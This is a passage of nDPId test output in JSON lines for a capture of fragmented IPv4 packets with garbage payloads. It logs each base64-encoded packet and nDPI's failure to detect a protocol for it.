failed","thread_id":0,"packet_id":198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700268,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700275,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700283,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700290,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700298,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlkAGRBsKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700313,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmEAGRBkKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhmkAGRBcKAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700330,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnEAGRBUKAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700337,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhnkAGRBMKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700345,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhoEAGRBEKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700352,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhokAGRA8KAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700360,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpEAGRA0KAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700397,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhpkAGRAsKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700404,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqEAGRAkKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700411,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhqkAGRAcKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":214,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700418,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrEAGRAUKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":215,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700425,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhrkAGRAMKAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":216,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhsEAGRAEKAAACCoAAAj83NDgzOTYpKComXiUkI0A="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":217,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhskAGQ\/8KAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":218,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700452,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtEAGQ\/0KAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":219,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhtkAGQ\/sKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":220,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhuEAGQ\/kKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":221,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700487,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":222,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700499,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":223,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700511,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":224,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700522,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAjEpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":225,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700534,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":226,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700548,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":227,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700560,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":228,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":229,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":230,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700594,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":231,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":232,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700620,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":233,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700632,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":234,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700644,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":235,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":236,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":237,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":238,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":239,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":700704,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":240,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 